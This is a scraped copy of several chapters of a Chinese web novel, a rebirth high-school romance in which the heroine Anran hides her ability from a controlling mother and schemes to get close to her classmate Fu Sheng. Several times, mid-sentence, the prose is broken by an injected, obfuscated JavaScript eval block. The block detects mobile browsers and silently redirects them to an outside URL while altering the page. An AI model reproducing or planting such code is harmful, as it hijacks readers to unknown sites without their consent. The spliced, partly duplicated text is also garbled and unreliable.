她动作又轻又快,在还没完全安静下来的教室里没引起任何注意。 安苒道:“周阿姨让我带你给的。” 她说完就走,没给傅笙开口的机会。 等到自己座位旁时,卢佳慧已经到了,她伸手拍了下对方的肩,卢佳慧扭过头,然后一脸疑惑地给她让出一条道:“你怎么从后门进来了?” 安苒敷衍的含糊了过去,问道:“作业收完了吗?” “刚收完,还在第一排呢,你快往前传。” 早读课下。 安苒正在看课表,准备把第一节课的书拿出来,冷不丁被人推了推胳膊。 卢佳慧:“安安,有人找。” 她抬头,就看见傅笙站在走道里,视线撞上,傅笙说了句:“谢谢。” 安苒很快地摇了下头:“不客气,周阿姨已经谢过我了。” 傅笙看了她一眼,转头走了。 刚一离开,卢佳慧就凑了上来,声音激动:“安苒,傅笙怎么会过来找你?还有他刚刚说谢谢是什么意思?!” 再一看,前桌的两人也一块转了过来,正目光灼灼地盯着她,眼神热烈地像是要把她盯出一个洞来。 大概是高中的学习生活实在无聊,一点风吹草动的八卦就能引起一堆人的注意。 更何况傅笙过于出众,从小到大都是学校的话题人物。 正因为这样,她早上才会选择从后门进。 没想到还是没挡住旁边同学的好奇心。 安苒无辜地眨了下眼睛:“他东西忘带了,我在校外遇上他妈妈,就顺路带进来而已。” 话说完,周围同时泄了口气。 卢佳慧撇了撇嘴,失望之情溢于言表:“我还以为什么事呢。” 安苒笑道:“能有什么事?” 卢佳慧等前桌的人转过身去,才小声蛐蛐:“我没见过他和哪个女生主动说过话,你还是第一个。” 安苒这回是真的被逗笑了:“哪有这么夸张。” 傅笙虽然性子冷,但在学校里正常交流还是有的,不然就不是性子冷而是孤僻了。 那她上辈子为什么从始至终没有和傅笙接触过呢? 安苒抵了抵笔袋里的那支黑笔,大概她从一开始就在下意识避开傅笙,因为在家里听到过太多次对方的名字,所以还没有接触便先有了反感。 只是自己那时候也没想到,竟然会有重来一次的机会,而且自己选择了主动接近。 下午第二节课上到一半,外面下起了雨。 天色暗了下来,教室一片昏昏沉沉,开灯后又恢复了亮堂。 这场雨一直持续到放学。 安苒收拾好书包,和卢佳慧一起出教室。 卢佳慧看着两手空空就要往雨里走的同桌,赶紧将人拉回来:“你没带伞吗?” “忘了。” “那也不能直接淋回去啊,你等等,我让我爸送你。” 安苒道:“我们两家不顺路。” 卢佳慧摆手:“没事,反正我爸肯定是开车来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526300|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只用绕一点路,又不费事。” 傅笙落在后面几步,撑伞看着雨中跑远的人影。 像是随意一瞥,又很快收回了视线。 安城的秋天很短,一眨眼就入冬了。 几场雨之后,所有人就都换上了厚实的衣服。 补习班人多了起来,安苒和傅笙坐的那张桌子终于坐了第三个人,因为衣服也跟着多了起来,所以难免胳膊抵着胳膊。 好在三个人都不胖,否则安苒坐在中间,会很不舒服。 她没想过和傅笙换位置,也没有刻意往傅笙那边靠,仅仅是稍微挪了下凳子。这点细微的变化,傅笙并没有察觉到。 安苒觉得,上次送伞之后傅笙在教室找她道谢,真的算是对方最主动的一回了。 她总不能特意去偶遇傅笙的妈妈,就算遇见了,周阿姨也不会有那么多东西让她送的。 好在高中的时间还很长,她并不着急。 高一上学期的最后一次补习课,安苒迟到了,不过等她到的时候傅笙旁边位置还空着。 她坐下后,用笔碰了碰傅笙的衣服,歪过头笑了下:“谢谢你给我留了位置。” 这是继上次讲题之后,他们第一次在补习班说话,那一点安苒刻意制造的几乎看不见的薄冰其实早就破了,只是没人试着去戳一下。 傅笙转头,声音有些冷硬:“我没有留。” 安苒不是很介意,梨涡若隐若现:“那好吧,我收回刚才那句话。” 傅笙的视线在她脸上落了两秒。 因为是最后一次课,而且临近期末考和新年,所以试卷讲完后,孙老师又说了几句结束语。 来补课的学生边听边收拾东西,周围全是窸窸窣窣的声音。 安苒将试卷折起来放好,她不会把东西都拿出来,用完就收好了,所以动作很快,旁边的傅笙也一样。 安苒等他停下动作,问道:“你下学期还来吗?” 傅笙点头。 安苒:“那明年见。” 傅笙疑惑:“学校还没放假。” 安苒笑了笑:“在这里见。” 7. 第 7 章 一周后,期末考试如期进行。 因为是学期末的最后一次大考,所以这回是按照全校排名打散后重新安排的考场。 安苒被分在中间的教室,全校前100名的考场被安排在大礼堂,安苒不用看也知道,傅笙的位置一定在第一排第一个。 班主任刚贴完考场,就被广播叫去开会了,于是临时安排班长坐在讲台上,看着他们自习。 安苒正在刷错题,突然被拽了下袖子。 她扭头,就看见卢佳慧趴在桌子上,把下半张脸藏在衣服里,对方小声问她:“明天就考试了,安安你紧不紧张?” 安苒认真想了下,然后摇头。 卢佳慧皱着脸,像是在担心什么重要的国家大事:“我好紧张,这次要是考不好的话,寒假就没法出来玩了。” 安苒听着同桌的叹气声,想到自己上辈子的时候,每次考试,无论大小,哪怕只是一场简单的随堂检测都会紧张到呼吸急促,那是下意识的,控制不住的反应。 但重生之后,这些反应就消失了。 她记得上一世的高一,因为摸底考超过了傅笙,所以她妈看到了希望,在成绩掉下来后,就对她开始了高强度的打压氏教育。 她拼命努力了一学期,终于在期末的时候考到了全班第二,但成绩下来后她等来的是一顿劈头盖脸的咒骂以及两个耳光,那一刻的她仿佛罪大恶极。 而重来一回,她没有超过傅笙,没有那一次希望,所以即便她的成绩一直平平无奇,这半年受到的打骂与管控也没有上辈子那么严格和令人窒息。 安苒觉得有点可笑。 在她妈这样如此在意成绩的人面前,她却要用考不好来保护自己。 旁边,卢佳慧还在紧张:“要是试卷太难,答不上怎么办?” 安苒从回忆中抽出,安慰她道:“放心,这次考试题目不会太难的,都是基础题,只要细心点不出错就能考好。” 卢佳慧:“真的吗?” “真的。” 卢佳慧握了握拳,虽然知道安苒只是在哄她,但她莫名觉得可以信一信:“那我再抓紧复习一下知识点!” 九门学科总共考了三天。 最后一门考完后,安苒收拾好东西,先去小卖铺买了瓶汽水。 她中午只吃了一点,这会儿有点低血糖。 等回教室的时候,大部分人已经到了,教室里乱哄哄的,她从后排经过的时候,听见男生们聚在一起讨论寒假一起出来玩的事。 “城南新建的商场要开了,里头有家游戏厅,据说还能上网。” “我听人说前三天充卡的话打半折,去不去?” “去!” “当然去啊!” 提议得到了一致响应,安苒听到有人问:“傅笙,你去吗?” 她脚步顿了下,傅笙:“我寒假不在安城。” “去外省走亲戚啊?” 傅笙嗯了一声。 安苒有些意外,她知道傅笙的妈妈就是安城人,至于傅笙爸爸她不是很了解,因为对方已经不在了,所以是爸爸那边的亲戚吗? 她没深究,毕竟这会儿她和傅笙只算得上勉强相熟,就算想深究也没办法。 贸贸然打听的话,会被厌烦的。 等回到座位,卢佳慧早就到了:“怎么才回来?” “去小卖铺了。”安苒抬了抬手上喝到一半的汽水,从书包里拿出一袋软糖递了过去。 卢佳慧美滋滋地接了过来,一边拆袋子一边道:“城南新起的百货中心要开业了,到时候咱们一起过去玩怎么样?” 教室里全都再说城南商场的事,毕竟安城还没有过这么大的商场呢,安苒记得这个商场开业后一直很红火,直到七年后都还是安城最大的娱乐活动中心。 她点头:“好啊。” 卢佳慧顿时高兴起来,过了会儿又忍不住担心:“你真的能出来?你妈妈不会锁你吧?我是不是应该早点跟你说的,这样你可以不控分,然后考得好一点。” 安苒笑了下:“没事,能出来的。” 卢佳慧:“那你记得提前给我打电话,别约错了时间。” 安苒应了个好。 期末考试后学校放了两天假,然后返校公布成绩。 安苒背了个空书包,准备装寒假作业。 她到教室的时候,各科课代表正在发卷子,假期除了统一的寒假作业本还有学校出的各种卷子,作业本可以不写,卷子一定要做。 发到一半,学委冲了进来,扬了扬手上的纸:“成绩出来了!” 班主任跟在后面,看着学委把成绩单帖好,才慢悠悠交代起假期的各种事项以及晚上的家长会。 等班主任说完走人,班上的人顿时一窝蜂地拥到了成绩单前面,查看自己的分数。 安苒本来不着急看的,但被卢佳慧拉着挤了进去。 还没站稳,就听到有人喊:“傅笙又是第一。” 旁边卢佳慧跟着喊了一声:“安安,我班级排名进前二十了!” 她头一次考这么高,喊完就用力抱了抱安苒,眼睛里亮闪闪的,全是笑意。 安苒跟着她高兴了一通,然后才开始找自己的名次,视线精准地找到了中等偏上一点的位置,嗯,十七,比上次提高了一名。 两人查完分数,从人堆里退了出来。 卢佳慧拉着她到人少的地方,小声打听道:“安安,你要是认真写能考多少啊?” 安苒摇头:“我也不知道。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526301|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她能赢过傅笙,只不过那是多出七年时间才有的成绩,是她七年从来没有松懈过一天才达到的结果,并不值得高兴。 晚上,徐梅去开家长会。 安苒看着闹钟,推测她妈此刻的心情,大概怒火中烧气疯了。 半个小时后,徐梅回来,先是钥匙的声音,紧跟着是猛地一声摔门:“安苒,给我滚出来!” “半学期了,一点进步都没有,连前十都进不去,看看你,再看看人家!” “傅笙考了多少你知道吗?第一!我脸都被你丢干净了!” …… “寒假哪也不准去,给我老老实实待家里!” 一场谩骂持续了近一小时,安苒重生后,对这些话已经不痛不痒了,她垂头盯着自己的脚面,漫不经心地想,这次应该不用挨打。 第二天,徐梅关门上班出去后,安苒去拉了一下,果不其然,大门从外面被反锁住了,她手里的钥匙昨天晚上就被收走了。 安苒回房间,从抽屉最底下摸出一把新的钥匙来。 这不是她重生之后配的,是很早之前她有一次钥匙掉了后,多配了一把,只不过上辈子她从来没有拿出来用过,整个寒假都在赎罪般地学习,除了拜年,一步都没有出去。 安苒用钥匙试了下,门打开了。 她重新将门关上,锁好。 安苒不着急出去,家里没有人的时候是安静的,独属于她的。 城南商场开业那天,卢佳慧一早就等不及打电话过来了,生怕她出不来。 安苒准时到地方,整个商场里里外外全都是人,她和卢佳慧挽着手在人群里穿梭,不然一不小心就走散了,期间还撞见班里的男生,安苒多看了一眼,傅笙果然不在。 年前,安苒一共出去了三趟,她妈都没有发现。 直到徐梅的单位都放假,安苒才收好钥匙。 安家过年十分冷清,她爸安建军是船员,过年的时候不是在船上,就是国外的港口,反正不在家。 安苒对过年的印象只限于大年初一的拜年和收压岁钱,其他时候和平时没两样。 拜年回来,压岁钱跟着上交。 她家里并不缺钱,这点压岁钱实在算不上数,但徐梅杜绝一切可能会影响到她学习的东西,所以安苒连红包壳都没拆开。 不过在上交的时候,安苒忽然想到她可以提前买点股票,她上辈子大学念的金融专业,清楚记得有几支股票的涨幅,可惜现在年纪不够,而且用零花钱买股票的话还是太少了。 但她能记住那些股票,是因为短时间里暴涨或是暴跌过,是她大学时候的事了。 所以,安苒想了一下就没再想了,并不着急。 她现在想做的,只有接近傅笙。 8. 第 8 章 寒假结束的前一天,安城下了雪。 洋洋洒洒下了一整个白天,以至于第二天开学,全城的学生都深一脚浅一脚。 安苒到教室的时候,班里的人已经来了大半了,三五成群围在一起叽叽喳喳地聊寒假里的事。 卢佳慧跟她前后脚进门,从后面扑了过来,热情洋溢:“安苒!” 两人刚一坐下,前桌的男生就转了过来:“安苒,寒假作业都写完了吗,英语试卷借我抄一下,快,江湖救急!” 安苒找出来拿给他,随口问道:“你怎么没写?” “昨天补作业的时候不是下雪了么,我还以为会推迟开学呢,想着今天补也来得及,谁知道一个通知都没有。” 卢佳慧扑一声哧笑了出来:“想什么好事呢。” 前桌恼羞成怒:“就不能想想吗!” 不过英语答案抄起来不算费事,前桌字迹潦草到飞起,还不忘故意选错几个,最后成功在老班来前把一套英语卷子都抄完了。 等班主任来后,除了发新书和收作业,就是惯例的大扫除。 安苒被安排了个扫地的任务。 她去最后面拿扫把的时候,才终于有空认真看一眼傅笙。 一个寒假没见,对方头发剪短了,乌黑的碎发衬得整个人干净利落,不知是不是冬天的缘故,对方身上萦绕着一股凛冽的气氛,无端让人觉得有些冷。 安苒看得有点久,以至于傅笙察觉到,抬头朝她望了过来。 四目相对,安苒极浅地笑了一下。 傅笙面无表情地移开了视线。 * 开学第一周,寒假的欢乐还没消退,学习氛围十分轻松,结果乐极生悲,整个班一小半人感冒了。 安苒不幸中招,病情来势汹汹,中招的当晚她就发起了烧,好在第二天是周六,学校没课,不过补习班只能先停一周了。 安苒在小诊所挂水,一边用空着的手做卷子,一边想傅笙会不会给自己留位置。 她觉得大概是不会的。 安苒一连挂了三天的水,热度倒是退下去了,就是还有点轻咳。 周一下午的体育课,体育老师宣布进行体测。 安苒跑完后坐在一边,手里捏着水,感觉快要死了。 她感冒还没好全,幸好今天只测了50米跑和跳远,要是测800米的话,她一定提前请假。 她趴在自己胳膊上喘气,前面落下一片阴影,安苒抬头,猝不及防地对上了傅笙那张毫无死角的脸,她视线顿住,呼吸不由自主地滞了下。 傅笙垂眼朝她看过来,声音有些冷淡:“你周六的补习班怎么没去?” 安苒慢慢缓了口气:“孙老师让你来问的吗?” 傅笙点头。 “感冒了。”安苒偏头咳了两声,朝不远处还没测完的人群瞥了眼,问道:“我的位置有人坐吗?” 傅笙:“有。” 安苒面露失望,眼里带着几分懊恼。 傅笙看着她的表情,说道:“人太多了,没有空位。” 安苒拢了下眉,仰头问他:“那怎么办?” 傅笙本来不想多说,只打算问一下原因,但在对上她的视线后还是多说了句:“位置不是固定的,你下周来早点就行了。” 安苒问道:“你帮我留个位置好吗?” 她没给傅笙拒绝的机会,飞快地将理由说了一遍:“我感冒还没有好全呢,早上起来的时候会头晕,万一下周不小心起迟了就只能做角落里了,我不想和不认识的人挤在一起。” 说完后,声音又软了下来,又问了一遍:“傅笙,你给我占个位置吧,好不好?” 她脸上带着病气,嗓音明显能听出不舒服的哑意。 傅笙顿了两秒,答应了。 安苒笑了起来:“谢谢。” 她翻了翻外套口袋,从里面摸出一根棒棒糖来:“给你。” “不用。” 安苒执意递过去:“这是之前我去买水的时候,小卖铺的老板娘送的,不过我感冒了,吃糖的话,喉咙会疼。” 她指了指自己的喉咙,唇边荡开一个小梨涡:“替我分担一下吧。” “傅笙!” 不远处有人喊了一声。 对方喊完就看到了人,飞快跑了过来,视线狐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526302|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑地在傅笙和安苒中间转了个来回,又看了看傅笙手里的东西:“哪来的糖?” 傅笙懒得解释,直接把糖塞给了对方。 安苒表情没变。 她一点也不意外,傅笙不会收她的东西,更何况她已经找过借口了,那根棒棒糖也不算是她送的。 傅笙问旁边的人:“什么事?” “哦,我来喊你过去,女生那边已经都测完了,快到咱们了。” 安苒撑着下巴,看着傅笙的影子一点点从她面前移开。 * 周六的补习班,安苒没提早过去,也没迟到。 她到孙老师家时,大部分同学已经到了,比上学期确实多了不少人,孙老师又添了几张桌子,快要把整个客厅都塞满了。 安苒看了眼傅笙旁边的位置,是空着的,她径直往里面走,在看到凳子上那个占座的书包时,抿了抿嘴笑了起来。 少年人嘴硬心软,就算她周一之后就没再跟傅笙提过占座的事,对方还是帮她占了。 安苒心情微妙地上扬了一点。 一旁,傅笙看见她来,干脆利落地将书包提走了。 安苒坐下后,从书包里摸出一块巧克力,这是安建军上回下船带回来的,家里还剩不少,她来之前特意带了一块,推到傅笙跟前:“这个是谢礼。” 傅笙视线顿了下,拒绝了:“不用。” 安苒手指抵在巧克力的外包装上,不准对方推回来:“你不收我会过意不去的,我还想请你以后都帮我占位置呢。” “傅笙,我不想跟其他人坐,这个补习班上的人我只认识你。” 安苒道:“不喜欢的话送给别人也没关系,我不介意的。” 傅笙皱了下眉:“那个糖……” 他顺着安苒的话想到了周一体育课的事,突然觉得自己当时的行为大概有点不妥,想解释一下,但细想一下又觉得没什么好解释的。 安苒眨了下眼睛,像是不知道傅笙在纠结什么,目光灼灼看着对方。 傅笙拧着眉,生疏地找了个借口:“我不喜欢吃甜的。” 安苒弯眼一笑:“这个不甜。” 9. 第 9 章 因为占座的事,安苒和傅笙的关系稍稍拉近了些。 补习班里,两人的座位又成了固定位置,安苒偶尔来得比傅笙早,不过大多数时候还是傅笙来得更早。 开学一个月,省里的调研组要来听课,全校又安排上了大扫除。 班主任刚在讲台上说完,就引来了一片怨声载道,明明离开学那次的大扫除还没过去多久,但得知不是占用课余时间,而是最后两节课都不用上了,又全高兴了起来。 安苒还和上次一样在教室,卢佳慧被分去了车棚捡垃圾。 “好远,不想去。”卢佳慧搂着她大声叹气:“为什么要把我们分开,不行,我要去找人个在教室的任务!” 安苒道:“我跟你换吧,正好我要去小卖铺买东西。” “真的吗?” “真的。” “那记得给我带好吃的。” 安苒一口答应下来,她有点低血糖了,本来打算一下课就去小卖铺的,但班主任刚才交代事情耽误了不少时间,这会儿她已经有点手抖了。 原本安苒觉得走到小卖铺没什么问题,结果刚到一楼转角,眩晕感就冒了上来,后颈一片冰凉的冷汗。 她脚步踉跄了下,眼前尽是雪花般的黑白影,闭眼就要往下栽。 倒下去前,安苒冷静地想,应该会有人路过发现自己的。 “安苒!” 一声急促的喊声骤然响起,紧跟着有人在她倒地前扶住了她。 对方语气有点急:“你怎么了?” 安苒嗅到一片清爽熟悉的味道,她没有打算拿自己的低血糖来碰瓷傅笙,因为太不好掌握时机了,可偏偏撞上来接住她的人就是对方。 既然是傅笙主动撞上来的,那她不利用一下未免太可惜了。 安苒小声道:“我好像低血糖犯了。” 她声音太低,傅笙几乎贴着她才听清楚,因为还要扶着她的身子,所以傅笙的姿势看起来像是把她半抱在怀里。 不过眼下顾不上那么多:“我送你去校医室。” 安苒用力咬了下唇:“不用。” 她脸色苍白,勉强从晕眩中恢复了一点:“只要吃点甜的东西就好了,你能不能帮我去买瓶饮料过来?” 傅笙嗯了声,先把她扶到最近的花坛上坐下,然后匆匆跑开。 安苒蜷腿坐着,虽然心悸没有缓解,冷汗还在冒着,但起码不会突然晕过去了,只是周遭的一切像是被屏蔽过,她什么都感觉不到。 大约只过去了五分钟,或者更短。 安苒的手里被塞进了一瓶已经打开的饮料。 她喝了一口,橘子味的。 几分钟之后,眼前终于重新亮了起来,原本惨白的唇瓣也恢复了血色,安苒这才发现傅笙不单单只买了瓶水,还买了一堆其他的甜食。 她在袋子里翻了翻,小卖铺里放在显眼位置的糖果每一样都有。 安苒感叹:“你买了好多。” 傅笙一脸严肃的看着她:“够吗?” 他说话时眉头还皱着,视线牢牢锁在她的脸上,像是怕一不留神她又倒下去。 安苒扬了下手里的汽水:“只要这个就够了。” 她看着一袋子的糖,表情有点苦恼:“这些能不能退掉啊,待会儿拿过去,老板会不会凶人?今天是老板在还是老板娘在?” 傅笙没在意这些:“是给你买的,不用退。” 他有点怕安苒好好的突然再倒下去,脸色严肃道:“你放在教室里,慢慢吃就行了。” 安苒看着他:“那我可以分给别人吗?” 傅笙十分干脆地嗯了声。 安苒笑了下,她的低血糖其实不算严重,上辈子也没有晕过,每次饿了及时垫一口就行,只是重生之后,她不怎么在意自己的事,总是忘了在身上放吃的。 果然,学习是一件又费脑子又费体力的事,哪怕再来一次也会很累。 安苒慢吞吞地喝着汽水,她已经缓过来了,但手脚一时间还没什么力气,正想着要怎么才能让傅笙帮她把打扫任务一并解决了,就听对方问道:“你大扫除负责的是什么地方?” 安苒惊讶了一瞬,飞快道:“车棚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526303|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅笙点头:“我替你去做,你再坐一会儿,等休息够了再回教室。” 他说完就走,并没有拖泥带水或是邀功讨情的意思。 安苒没说自己差不多已经恢复好了,心安理得地坐在花坛边没动,她捏了下手里的汽水瓶,心想,自己可真不道德,这么利用对方那颗单纯的赤子之心。 但是她不说,傅笙只会觉得做了件好事。 安苒把橘子味的汽水喝完,又坐了一刻钟,才起身回教室。 教室里刚刚拖完地,还没有干,人都在外面。 卢佳慧看着她拎的袋子,惊呆了:“安苒,你怎么买这么多?!”说完立刻接过袋子扒拉了一遍,失望之情溢于言表:“怎么都是糖啊?” “你不要?” “要!” 卢佳慧眼疾手快剥了颗糖。 * 大扫除之后,安苒清晰地感觉到,傅笙对她的态度比起之前软和了许多。 在补习班的时候,她故意找傅笙说了一回班上的八卦,傅笙虽然不感兴趣但也没有露出不耐烦的表情,只是反应平平。 安苒想了想,大概是大扫除那天自己的脸色过于惨淡,以至于傅笙对她生出了一股微妙的怜惜之意,不过这其中并没有男生对女生的情愫,她在傅笙眼里或许和一只需要特意照顾的小动物没两样。 虽说如此,但是安苒的唇角还是微不可查地翘了下。 一份感情只要开了头就收不回去了,只会越聚越多,无论始于什么,终点都是无法控制的,她会把这点微末的怜惜一步步过度到心疼,至于心疼之后要怎么办,她还没有想好。 安苒趴在桌上,把头埋在袖子里,她怕脸上的笑意太过明显。 旁边,傅笙朝她看了一眼。 过了会儿,她胳膊被碰了下,声音从旁边传来:“是不是哪里不舒服?” 安苒迟了两秒才抬头,对上傅笙略显担心的视线,安苒摇了下头:“没有不舒服,只是昨晚写作业写到太晚了,有点困。” 她冲傅笙轻轻笑了下:“我没那么容易晕倒,别担心。” 10. 第 10 章 四月一过,天气很快就暖了起来。 而春末夏初是举办校运会最好的时候,体委半个月前就开始动员班上的同学报名比赛项目了,男生的名额倒是很快就满了,女主还差了不少。 下午三节课下,体委动员到了安苒她们这组,热情询问:“要不要报个项目?不用拿名次,参加就行。” 卢佳慧头摇的飞快:“不报。” 体委不强求,顺势把期盼的目光挪到下一个。 安苒在对方殷殷期盼的眼神中点头道:“好啊,我看看还有什么。” 体委眼睛一亮,赶紧把表明表递给她。 安苒视线落在八百米那一栏,果然在男子组的空格里看到了傅笙的名字,傅笙每年都报一样的项目,初中那会儿的校运会就是八百米。 安苒猜傅笙第一次报的时候是随便选的,之后就是懒得再改,所以每年都一样。 体委见她看了半天没反应,问道:“考虑好了吗?” 安苒嗯了声,随手挑了个填上自己的名字。 体委接过去一看,狐疑道:“铅球?” 安苒:“不可以吗?” “可以,当然可以!”体委瞥了眼安苒细瘦的胳膊,安慰自己有人参加就不错了,千万不要挑三拣四,他难得遇到个好说话的,再接再厉劝道:“要不再报个别的,铅球一扔就完事了,和其他项目不冲突。” 安苒这回拒绝得很坚定:“不了。” 体委怏怏走了。 报名表最终在校运会的前三天填满了,因为截至日期到了,老班强行点名往上填了几个。 卢佳慧缩着脖子听得提心吊胆,等报名表填满后大大松了口气,拍着胸口道:“胖点还是有好处的,逃过一劫。” 又扭过脸道:“还好安安你先报了个铅球,不然说不定就要被抓壮丁。” 安苒托着腮,声音轻快地嗯了一声。 上辈子,她因为没提前报名,所以被班主任指派去个长跑项目,她实在不怎么擅长运动,最后十分艰难地跑完了全程。 她不想在学校把自己搞得太狼狈,会影响傅笙对她的印象。 当然,也不想去长跑。 校运会安排在周六,全校学生倾巢而出,不少手里都搬着凳子,还有搬桌子的,他们学校的操场只有一面有看台,坐不下三个年级的学生,多出来的班级只能自己搬凳子坐操场边上了。 安苒他们班很幸运的被分在了看台上。 坐下后,班长给每个人都发了点纸,尤其是没报名参加比赛的,用来写稿子,然后送去主席台上等着广播站的同学选出来念。 卢佳慧特意带了本杂志,又能找灵感,又能垫着当硬纸板。 整个操场处在一片生机勃勃的热闹中,不管坐在哪里都是叽叽喳喳的讲话声,校长在主席台上说了什么,完全没有人认真听。 体委趁着校运会开始前,在看台下面安排人搬水,忙得热火朝天,衣服都脱了,只剩个短袖。 安苒探出身子问了句:“铅球什么时候开始?” 体委头也不抬:“早着呢。” 安苒闻言安心坐了回去。 卢佳慧飞快拉了她一下:“五十米要开始了,快坐好!” 他们班位置好,不光在看台的前排,还正正好对着跑道正中间,起步和终点的位置都能看到。 安苒坐直身子朝前面望去:“先从高一开始吗?” 卢佳慧点头,得意洋洋道:“我刚刚已经写了个稿子送去主席台了,等会儿广播就念,今日任务完成!” 安苒:“这么快,你写了什么?” 卢佳慧嘿嘿一笑:“王鹏,加油加油,你是最棒的!” 安苒:“真的会被选中念出来吗?” 卢佳慧十分自信:“肯定会!” 刚说完,广播就真的念出来了,看台上全班热烈地欢呼了一声。 卢佳慧得意道:“这叫先下手为强,送去得早,广播台上还没稿子,当然是有什么就念什么了,之后肯定是不行的。” 安苒:“那你还带了本杂志做什么?” 卢佳慧:“扇风啊,你不热吗?” “不热。” “我热嘛。” 前面的同学回头喊她们:“快别说了,要开始了!” 发令枪一响,看台上全在扯开嗓子喊加油,安苒也跟着喊了几声,可惜王鹏实力不济,只跑了个小组倒二,连下一轮都没进。 对方垂头丧气回来,体委在下面热情迎接,一边递水一边鼓励:“虽败犹荣!王鹏,好样的,起码不是倒一。” 安苒没忍住笑了出来。 之后的比赛一个接一个,操场上到处都是人,一时间眼花缭乱。 安苒喝了半瓶水,又陪着卢佳慧去了趟小超市,回来后终于等到了八百米开始。 她一眼就看到了站在起跑线上的傅笙,那一抹冷色调的白,仿佛比其他人多涂抹了一层色调,像是整个画布上唯一的高光。 比赛还没开始,看台上已经响起了一片加油呐喊声。 安苒几乎快要被傅笙的名字包围了。 “砰——!” 发令枪一响,起跑线上的几人同时冲了起来,红色的跑到上,傅笙黑色的碎发被风吹得往后带起,露出了一整片光洁的额头。 “傅笙——加油!” 不知谁开的头,散乱的喊声逐渐变得整齐划一。 不光是他们班的人在喊,就连其他班的同学,也能清楚地听到喊着傅笙名字的加油声。 这是安苒重生回来,头一次正面感受对方的人气。 卢佳慧夹杂在一众加油声里和她大声蛐蛐,语气十分羡慕:“怎么会有人不光学习成绩好,体育也这么好啊!” 安苒心道,还漏了一个长得好。 看台下面,体委挤过来叫她:“铅球要开始了,待会儿记得去。” 安苒嗯了一声,视线跟着傅笙往前冲,在冲过终点线的一瞬间,周围的喊叫声陡然被推到了高|潮。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!” “赢了!我们班第一!!” 安苒被卢佳慧扯着激动地晃了两下。 她看到傅笙弯腰,扶在自己膝上喘了口气,然后直起身走向一旁的计分老师。 旁边有女生在给跑完的男同学送水,但没有一个是给傅笙给的,因为送去一定会被拒绝,安苒记着上初中的时候,就有女生送过,傅笙别说接了,连瞥一眼都没有。 坐在安苒后面一排的女生看热闹不嫌事大,正热烈在讨论今年会不会有人送水。 “有先例在,谁还会撞南墙啊。” “万一呢,有好多人初中不是实验的,肯定不知道啊,说不定就有。” “有女生过去了诶——!” “在哪呢在哪呢?真的是!那女生好漂亮,好像是一班的班花吧。” “啊,傅笙没接!” 安苒也看到了,她看到傅笙径直绕开了人,对对方递来的东西没有丝毫兴趣。 原本还有些温和浪漫的画面,立时碎了一地。 安苒看完站了起来,准备去参加自己的铅球项目,她手里拿着之前没喝完的水,被后排的女生看到了。 几人登时笑了起来:“安苒,你要给傅笙送水吗?” 因为刚喊完加油,这句调侃玩笑的话没能收住音量,立时引来了周围的视线,连走到看台下的傅笙也跟着朝她看了过来。 安苒呆愣了一下,两颊唰一下红了,在四面八方的注视下慌忙摇头:“我去抛铅球。” 她急急忙忙解释完,就低头从看台上跑走了,路过傅笙时,顿了没顿。 像是想极力瞥清关系但又不知所措,最后只能落荒而逃。 看台下,体委大咧咧地道:“我还真以为安苒要给你送水呢。”说完,拿胳膊抵了抵身边的人,眨眼道:“说实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526304|203520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,你刚才期待了没?” 